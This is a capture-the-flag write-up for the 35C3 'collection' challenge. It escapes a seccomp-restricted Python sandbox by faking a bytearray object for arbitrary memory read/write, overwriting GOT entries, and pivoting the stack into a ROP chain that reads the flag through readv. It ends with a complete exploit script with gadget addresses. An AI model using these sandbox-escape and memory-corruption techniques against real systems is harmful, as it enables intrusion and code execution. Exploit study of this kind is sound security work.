35c3 collection write up

35c3 collection write up

behold my collection

The container is built with the following important statements

FROM ubuntu:18.04 RUN apt-get -y install python3.6 COPY build/lib.linux-x8664-3.6/Collection.cpython-36m-x86_64-linux-gnu.so /usr/local/lib/python3.6/dist-packages/Collection.cpython-36m-x86_64-linux-gnu.so Copy the library in the same destination path and check that it works with

python3.6 test.py Challenge runs at 35.207.157.79:4444

Difficulty: easy

We are given following files

$ ls
Collection.cpython-36m-x86_64-linux-gnu.so  libc-2.27.so  python3.6  server.py  test.py

A custom build cpython module Collection.cpython-36m-x86_64-linux-gnu.so

libc-2.27.so and python3.6 binary which are running on the server.

and server.py

import os
import tempfile
import os
import string
import random

def randstr():
    return ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10))


flag = open("flag", "r")


prefix = """
from sys import modules
del modules['os']
import Collection
keys = list(__builtins__.__dict__.keys())
for k in keys:
    if k != 'id' and k != 'hex' and k != 'print' and k != 'range':
        del __builtins__.__dict__[k]

"""


size_max = 20000

print("enter your code, enter the string END_OF_PWN on a single line to finish")


code = prefix
new = ""
finished = False

while size_max > len(code):
    new = raw_input("code> ")
    if new == "END_OF_PWN":
        finished = True
        break
    code += new + "\n"

if not finished:
    print("max length exceeded")
    sys.exit(42)


file_name = "/tmp/%s" % randstr()
with open(file_name, "w+") as f:
    f.write(code.encode())


os.dup2(flag.fileno(), 1023)
flag.close()

cmd = "python3.6 -u %s" % file_name
os.system(cmd)

The server.py file takes user input till we enter END_OF_PWN , then a temp python file is created with a prefix code and user input . The prefix code imports Collection module , and removes os module and all the builtin other than id, hex, print and range . This files is then executed with python3.6 -u command on the server . -u is for unbuffered i/o .

We are also given a test.py which shows a basic functionality of the Collection module.

$ ./python3.6 test.py
1337
[1.2]
{'a': 45545}

But when i tried to run the test.py with python3.6 -i it gave a error invalid system call

$ ./python3.6 -i test.py
1337
[1.2]
{'a': 45545}
[1]    5181 invalid system call  ./python3.6 -i test.py

If you run strace on the python while importing the collection module we can see that they have actually implemented a seccomp filter.

...
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)  = 0
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, {len=99, filter=0x7fffffffb4a0}) = 0
....

So it might be using some blacklisted syscall while we use -i tag with python. We can see a initsandbox function in the binary which actually initialize the seccomp filter and this function is called inside PyInit_Collection . So we can just patch this call and we can load the module in interactive mode and test .

We can dump the seccomp filter using seccomp-tool

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0012
 0011: 0x05 0x00 0x00 0x00000011  goto 0029
 0012: 0x15 0x00 0x01 0x0000000b  if (A != munmap) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x00000019  if (A != mremap) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x00000013  if (A != readv) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x000000ca  if (A != futex) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x01 0x00000083  if (A != sigaltstack) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0026
 0025: 0x05 0x00 0x00 0x00000037  goto 0081
 0026: 0x15 0x00 0x01 0x0000000d  if (A != rt_sigaction) goto 0028
 0027: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0028: 0x06 0x00 0x00 0x00000000  return KILL
 0029: 0x05 0x00 0x00 0x00000000  goto 0030
 0030: 0x20 0x00 0x00 0x00000010  A = args[0]
 0031: 0x02 0x00 0x00 0x00000000  mem[0] = A
 0032: 0x20 0x00 0x00 0x00000014  A = args[0] >> 32
 0033: 0x02 0x00 0x00 0x00000001  mem[1] = A
 0034: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0038
 0035: 0x60 0x00 0x00 0x00000000  A = mem[0]
 0036: 0x15 0x02 0x00 0x00000000  if (A == 0x0) goto 0039
 0037: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0038: 0x06 0x00 0x00 0x00000000  return KILL
 0039: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0040: 0x20 0x00 0x00 0x00000020  A = args[2]
 0041: 0x02 0x00 0x00 0x00000000  mem[0] = A
 0042: 0x20 0x00 0x00 0x00000024  A = args[2] >> 32
 0043: 0x02 0x00 0x00 0x00000001  mem[1] = A
 0044: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0048
 0045: 0x60 0x00 0x00 0x00000000  A = mem[0]
 0046: 0x15 0x02 0x00 0x00000003  if (A == 0x3) goto 0049
 0047: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0048: 0x06 0x00 0x00 0x00000000  return KILL
 0049: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0050: 0x20 0x00 0x00 0x00000028  A = args[3]
 0051: 0x02 0x00 0x00 0x00000000  mem[0] = A
 0052: 0x20 0x00 0x00 0x0000002c  A = args[3] >> 32
 0053: 0x02 0x00 0x00 0x00000001  mem[1] = A
 0054: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0058
 0055: 0x60 0x00 0x00 0x00000000  A = mem[0]
 0056: 0x15 0x02 0x00 0x00000022  if (A == 0x22) goto 0059
 0057: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0058: 0x06 0x00 0x00 0x00000000  return KILL
 0059: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0060: 0x20 0x00 0x00 0x00000030  A = args[4]
 0061: 0x02 0x00 0x00 0x00000000  mem[0] = A
 0062: 0x20 0x00 0x00 0x00000034  A = args[4] >> 32
 0063: 0x02 0x00 0x00 0x00000001  mem[1] = A
 0064: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0068
 0065: 0x60 0x00 0x00 0x00000000  A = mem[0]
 0066: 0x15 0x02 0x00 0xffffffff  if (A == 0xffffffff) goto 0069
 0067: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0068: 0x06 0x00 0x00 0x00000000  return KILL
 0069: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0070: 0x20 0x00 0x00 0x00000038  A = args[5]
 0071: 0x02 0x00 0x00 0x00000000  mem[0] = A
 0072: 0x20 0x00 0x00 0x0000003c  A = args[5] >> 32
 0073: 0x02 0x00 0x00 0x00000001  mem[1] = A
 0074: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0078
 0075: 0x60 0x00 0x00 0x00000000  A = mem[0]
 0076: 0x15 0x02 0x00 0x00000000  if (A == 0x0) goto 0079
 0077: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0078: 0x06 0x00 0x00 0x00000000  return KILL
 0079: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0080: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0081: 0x05 0x00 0x00 0x00000000  goto 0082
 0082: 0x20 0x00 0x00 0x00000010  A = args[0]
 0083: 0x02 0x00 0x00 0x00000000  mem[0] = A
 0084: 0x20 0x00 0x00 0x00000014  A = args[0] >> 32
 0085: 0x02 0x00 0x00 0x00000001  mem[1] = A
 0086: 0x15 0x00 0x05 0x00000000  if (A != 0x0) goto 0092
 0087: 0x60 0x00 0x00 0x00000000  A = mem[0]
 0088: 0x15 0x00 0x02 0x00000001  if (A != 0x1) goto 0091
 0089: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0090: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0091: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0092: 0x15 0x00 0x05 0x00000000  if (A != 0x0) goto 0098
 0093: 0x60 0x00 0x00 0x00000000  A = mem[0]
 0094: 0x15 0x00 0x02 0x00000002  if (A != 0x2) goto 0097
 0095: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0096: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0097: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0098: 0x06 0x00 0x00 0x00000000  return KILL

As you can see they have implemented a whitelist filter which allows only exit , exit_group , brk , mmap , munmap , readv , futex , signalstack , close , write and rt_sigaction syscalls . And there are some check which restricts the arguments . I did not reverse that part .

We know that the flags file descriptor is 1023 , We can read the flag from this fd and print it into the screen . As described above the read syscall is blocked and but since the readv syscall is whitelist we can use the it syscall to read from the fd .

Let’s seen which all functions are defined inside the collection module .

>>> import Collection
>>> dir(Collection)
['Collection', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__']
>>> dir(Collection.Collection)
['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__',
 '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__',
 '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__',
 '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'get']

As you can see only function defined is get .

$cat test.py 
import Collection

a = Collection.Collection({"a":1337, "b":[1.2], "c":{"a":45545}})

print(a.get("a"))
print(a.get("b"))
print(a.get("c"))

As shown above the test.py contains some example code which show’s the functionality of the module . Basically we give a dictionary to the Collection, which is stored inside the object . The only constrain is that we can only give string as the key and the value should be either list , value or dictionary . Then we can retrieve the values stored from the collection with get member function .

Getting Arbitrary Read Write Primitive

Now our aim is to return a fake PyObject object such a way that we can get arbitrary read write primitive .

One tick I found online is to use bytearray.

pwndbg> p *(PyObject *)0x7ffff74afc38
$10 = {
  ob_refcnt = 1, 
  ob_type = 0x7d37e0 <PyByteArray_Type>
}
pwndbg> p *(PyByteArrayObject *)0x7ffff74afc38
$11 = {
  ob_base = {
    ob_base = {
      ob_refcnt = 1, 
      ob_type = 0x7d37e0 <PyByteArray_Type>
    }, 
    ob_size = 1
  }, 
  ob_alloc = 2, 
  ob_bytes = 0x7ffff76a1660 "a", 
  ob_start = 0x7ffff76a1660 "a", 
  ob_exports = 0
}

bytearray is a mutable object , We can fake this object with controlled ob_start and ob_bytes and get arbitrary read write primitive .

Now we need a space to fake our bytearray object ,

>>> a = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"           
>>> hex(id(a))                           
'0x7ffff74b3088'
...
...
pwndbg> x/10gx 0x7ffff74b3088
0x7ffff74b3088: 0x0000000000000001      0x00000000007d6400
0x7ffff74b3098: 0x0000000000000023      0x15902057a8b86b36
0x7ffff74b30a8: 0x00000000007d00e5      0x0000000000000000
0x7ffff74b30b8: 0x4141414141414141      0x4141414141414141
0x7ffff74b30c8: 0x4141414141414141      0x4141414141414141

We can use the string object to create our fake bytearray object , Since they have whitelisted id and we can easily get the address of the string object and adding a offset will give our string.

Getting Code Execution

Now there are many possibility , and the one I took is to overwrite the got table and do a stack pivot to execute rop to read flag from 1023 and call write to print the flag to screen.

Since we can use print function and we can also give a string as a argument this seems to be a good candidate . Let’s check which function is executed when print is called

$ cat test.py
print("AAAAAAAAAAAAAAAAAA")

$ gdb --args ./python3.6 -u test.py
pwndbg> catch syscall 1                            
Catchpoint 1 (syscall 'write' [1])                             
pwndbg> r  
...
pwndbg> bt
#0  0x00007ffff7ec6874 in __GI___libc_write (fd=1, buf=0x7ffff74af360, nbytes=19) at ../sysdeps/unix/sysv/linux/write.c:26                            
#1  0x00000000004c1858 in ?? ()
#2  0x0000000000565bd1 in _PyCFunction_FastCallDict ()
#3  0x00000000005a3761 in _PyObject_FastCallDict ()
#4  0x00000000005a3a5e in PyObject_CallMethodObjArgs ()
...
...
pwndbg> x/10i 0x00000000004c1858 - 0x20
   0x4c1838:    add    BYTE PTR [rcx-0x77],cl
   0x4c183b:    (bad)
   0x4c183c:    call   0x420050 <__errno_location@plt>
   0x4c1841:    mov    rdx,rbx
   0x4c1844:    mov    rsi,r14
   0x4c1847:    mov    edi,r12d
   0x4c184a:    mov    DWORD PTR [rax],0x0
   0x4c1850:    mov    rbp,rax
   0x4c1853:    call   0x4207e0 <write@plt>

As shown above the write function is called when print is called , The write function is called with our string as the second argument and size of the string as the third argument . We were able to pivot the stack to that string . But python3.6 byte string we messing up our payload . Later were able to find some gadget to pivot the stack to a know location by overwriting both errnolocation’s and writes got with gadget.

After we achieve stack pivot we just need to create a rop chain to call readv(1023, *iov, 1) then call write syscall to print the flag

import Collection

alp = {'00': b'\x00',
 '01': b'\x01',
 '02': b'\x02',
 '03': b'\x03',
 '04': b'\x04',
 '05': b'\x05',
 '06': b'\x06',
 '07': b'\x07',
 '08': b'\x08',
 '09': b'\t',
 '0a': b'\n',
 '0b': b'\x0b',
 '0c': b'\x0c',
 '0d': b'\r',
 '0e': b'\x0e',
 '0f': b'\x0f',
 '10': b'\x10',
 '11': b'\x11',
 '12': b'\x12',
 '13': b'\x13',
 '14': b'\x14',
 '15': b'\x15',
 '16': b'\x16',
 '17': b'\x17',
 '18': b'\x18',
 '19': b'\x19',
 '1a': b'\x1a',
 '1b': b'\x1b',
 '1c': b'\x1c',
 '1d': b'\x1d',
 '1e': b'\x1e',
 '1f': b'\x1f',
 '20': b' ',
 '21': b'!',
 '22': b'"',
 '23': b'#',
 '24': b'$',
 '25': b'%',
 '26': b'&',
 '27': b"'",
 '28': b'(',
 '29': b')',
 '2a': b'*',
 '2b': b'+',
 '2c': b',',
 '2d': b'-',
 '2e': b'.',
 '2f': b'/',
 '30': b'0',
 '31': b'1',
 '32': b'2',
 '33': b'3',
 '34': b'4',
 '35': b'5',
 '36': b'6',
 '37': b'7',
 '38': b'8',
 '39': b'9',
 '3a': b':',
 '3b': b';',
 '3c': b'<',
 '3d': b'=',
 '3e': b'>',
 '3f': b'?',
 '40': b'@',
 '41': b'A',
 '42': b'B',
 '43': b'C',
 '44': b'D',
 '45': b'E',
 '46': b'F',
 '47': b'G',
 '48': b'H',
 '49': b'I',
 '4a': b'J',
 '4b': b'K',
 '4c': b'L',
 '4d': b'M',
 '4e': b'N',
 '4f': b'O',
 '50': b'P',
 '51': b'Q',
 '52': b'R',
 '53': b'S',
 '54': b'T',
 '55': b'U',
 '56': b'V',
 '57': b'W',
 '58': b'X',
 '59': b'Y',
 '5a': b'Z',
 '5b': b'[',
 '5c': b'\\',
 '5d': b']',
 '5e': b'^',
 '5f': b'_',
 '60': b'`',
 '61': b'a',
 '62': b'b',
 '63': b'c',
 '64': b'd',
 '65': b'e',
 '66': b'f',
 '67': b'g',
 '68': b'h',
 '69': b'i',
 '6a': b'j',
 '6b': b'k',
 '6c': b'l',
 '6d': b'm',
 '6e': b'n',
 '6f': b'o',
 '70': b'p',
 '71': b'q',
 '72': b'r',
 '73': b's',
 '74': b't',
 '75': b'u',
 '76': b'v',
 '77': b'w',
 '78': b'x',
 '79': b'y',
 '7a': b'z',
 '7b': b'{',
 '7c': b'|',
 '7d': b'}',
 '7e': b'~',
 '7f': b'\x7f',
 '80': b'\x80',
 '81': b'\x81',
 '82': b'\x82',
 '83': b'\x83',
 '84': b'\x84',
 '85': b'\x85',
 '86': b'\x86',
 '87': b'\x87',
 '88': b'\x88',
 '89': b'\x89',
 '8a': b'\x8a',
 '8b': b'\x8b',
 '8c': b'\x8c',
 '8d': b'\x8d',
 '8e': b'\x8e',
 '8f': b'\x8f',
 '90': b'\x90',
 '91': b'\x91',
 '92': b'\x92',
 '93': b'\x93',
 '94': b'\x94',
 '95': b'\x95',
 '96': b'\x96',
 '97': b'\x97',
 '98': b'\x98',
 '99': b'\x99',
 '9a': b'\x9a',
 '9b': b'\x9b',
 '9c': b'\x9c',
 '9d': b'\x9d',
 '9e': b'\x9e',
 '9f': b'\x9f',
 'a0': b'\xa0',
 'a1': b'\xa1',
 'a2': b'\xa2',
 'a3': b'\xa3',
 'a4': b'\xa4',
 'a5': b'\xa5',
 'a6': b'\xa6',
 'a7': b'\xa7',
 'a8': b'\xa8',
 'a9': b'\xa9',
 'aa': b'\xaa',
 'ab': b'\xab',
 'ac': b'\xac',
 'ad': b'\xad',
 'ae': b'\xae',
 'af': b'\xaf',
 'b0': b'\xb0',
 'b1': b'\xb1',
 'b2': b'\xb2',
 'b3': b'\xb3',
 'b4': b'\xb4',
 'b5': b'\xb5',
 'b6': b'\xb6',
 'b7': b'\xb7',
 'b8': b'\xb8',
 'b9': b'\xb9',
 'ba': b'\xba',
 'bb': b'\xbb',
 'bc': b'\xbc',
 'bd': b'\xbd',
 'be': b'\xbe',
 'bf': b'\xbf',
 'c0': b'\xc0',
 'c1': b'\xc1',
 'c2': b'\xc2',
 'c3': b'\xc3',
 'c4': b'\xc4',
 'c5': b'\xc5',
 'c6': b'\xc6',
 'c7': b'\xc7',
 'c8': b'\xc8',
 'c9': b'\xc9',
 'ca': b'\xca',
 'cb': b'\xcb',
 'cc': b'\xcc',
 'cd': b'\xcd',
 'ce': b'\xce',
 'cf': b'\xcf',
 'd0': b'\xd0',
 'd1': b'\xd1',
 'd2': b'\xd2',
 'd3': b'\xd3',
 'd4': b'\xd4',
 'd5': b'\xd5',
 'd6': b'\xd6',
 'd7': b'\xd7',
 'd8': b'\xd8',
 'd9': b'\xd9',
 'da': b'\xda',
 'db': b'\xdb',
 'dc': b'\xdc',
 'dd': b'\xdd',
 'de': b'\xde',
 'df': b'\xdf',
 'e0': b'\xe0',
 'e1': b'\xe1',
 'e2': b'\xe2',
 'e3': b'\xe3',
 'e4': b'\xe4',
 'e5': b'\xe5',
 'e6': b'\xe6',
 'e7': b'\xe7',
 'e8': b'\xe8',
 'e9': b'\xe9',
 'ea': b'\xea',
 'eb': b'\xeb',
 'ec': b'\xec',
 'ed': b'\xed',
 'ee': b'\xee',
 'ef': b'\xef',
 'f0': b'\xf0',
 'f1': b'\xf1',
 'f2': b'\xf2',
 'f3': b'\xf3',
 'f4': b'\xf4',
 'f5': b'\xf5',
 'f6': b'\xf6',
 'f7': b'\xf7',
 'f8': b'\xf8',
 'f9': b'\xf9',
 'fa': b'\xfa',
 'fb': b'\xfb',
 'fc': b'\xfc',
 'fd': b'\xfd',
 'fe': b'\xfe',
 'ff': b'\xff'}

def p64(a):
    a=hex(a)[2:].rjust(16,'0')
    li = [a[i:i+2] for i in range(0,16,2)]
    st=b''
    for i in li:
        st+=alp[i]
    return st[::-1]

def fake_bytearray(addr,size):

    payload =  p64(0xffff)
    payload += p64(0x00000000009ce7e0)
    payload += p64(size)
    payload += p64(size+1)
    payload += p64(addr)
    payload += p64(addr)
    payload += p64(0x0)
    return payload

def write(addr,inp):
    payload = fake_bytearray(addr,len(inp))
    payload_addr  = id(payload)
    a = Collection.Collection({"A":1337,"B":[1]})
    b = Collection.Collection({"B":[1],"A":payload_addr + 0x20})
    c = b.get("B")
    for i in range(len(inp)):
        c[i]=inp[i]


target = "\x00" * 0x100
iov=p64(id(target)+0x30)+p64(0x100)

pop_rdi = 0x00421612
pop_rsi = 0x0042110e
pop_rdx = 0x004026c1
pop_rax = 0x00631caf

readv_plt = 0x4208b0
syscall   = 0x0049d6d4

read_payload  = p64(pop_rdi)
read_payload += p64(1023)
read_payload += p64(pop_rsi)
read_payload += p64(id(iov)+0x20)
read_payload += p64(pop_rdx)
read_payload += p64(0x1)
read_payload += p64(readv_plt)

write_payload  = p64(pop_rdi)
write_payload += p64(1)
write_payload += p64(pop_rsi)
write_payload += p64(id(target)+0x30)
write_payload += p64(pop_rdx)
write_payload += p64(50)
write_payload += p64(pop_rax)
write_payload += p64(1)
write_payload += p64(syscall)

rop  = read_payload
rop += write_payload


stack_pviot = 0xa42f30
write(stack_pviot,rop)

# 0x0000000000467123 : leave ; ret
leave_ret = 0x00467123 
write_plt = 0x009b3d18

write(write_plt,p64(leave_ret))

# 0x000000000061233e: mov rax, rcx; ret;
mov_rax_rcx = 0x0061233e 
__errno_location = 0x009b3950

write(__errno_location,p64(mov_rax_rcx))

print("A" * (stack_pviot - 8))

Reference

[ 1 ] python-sandbox-escape-via-a-memory-corruption-bug

[ 2 ] Extending Python with C or C++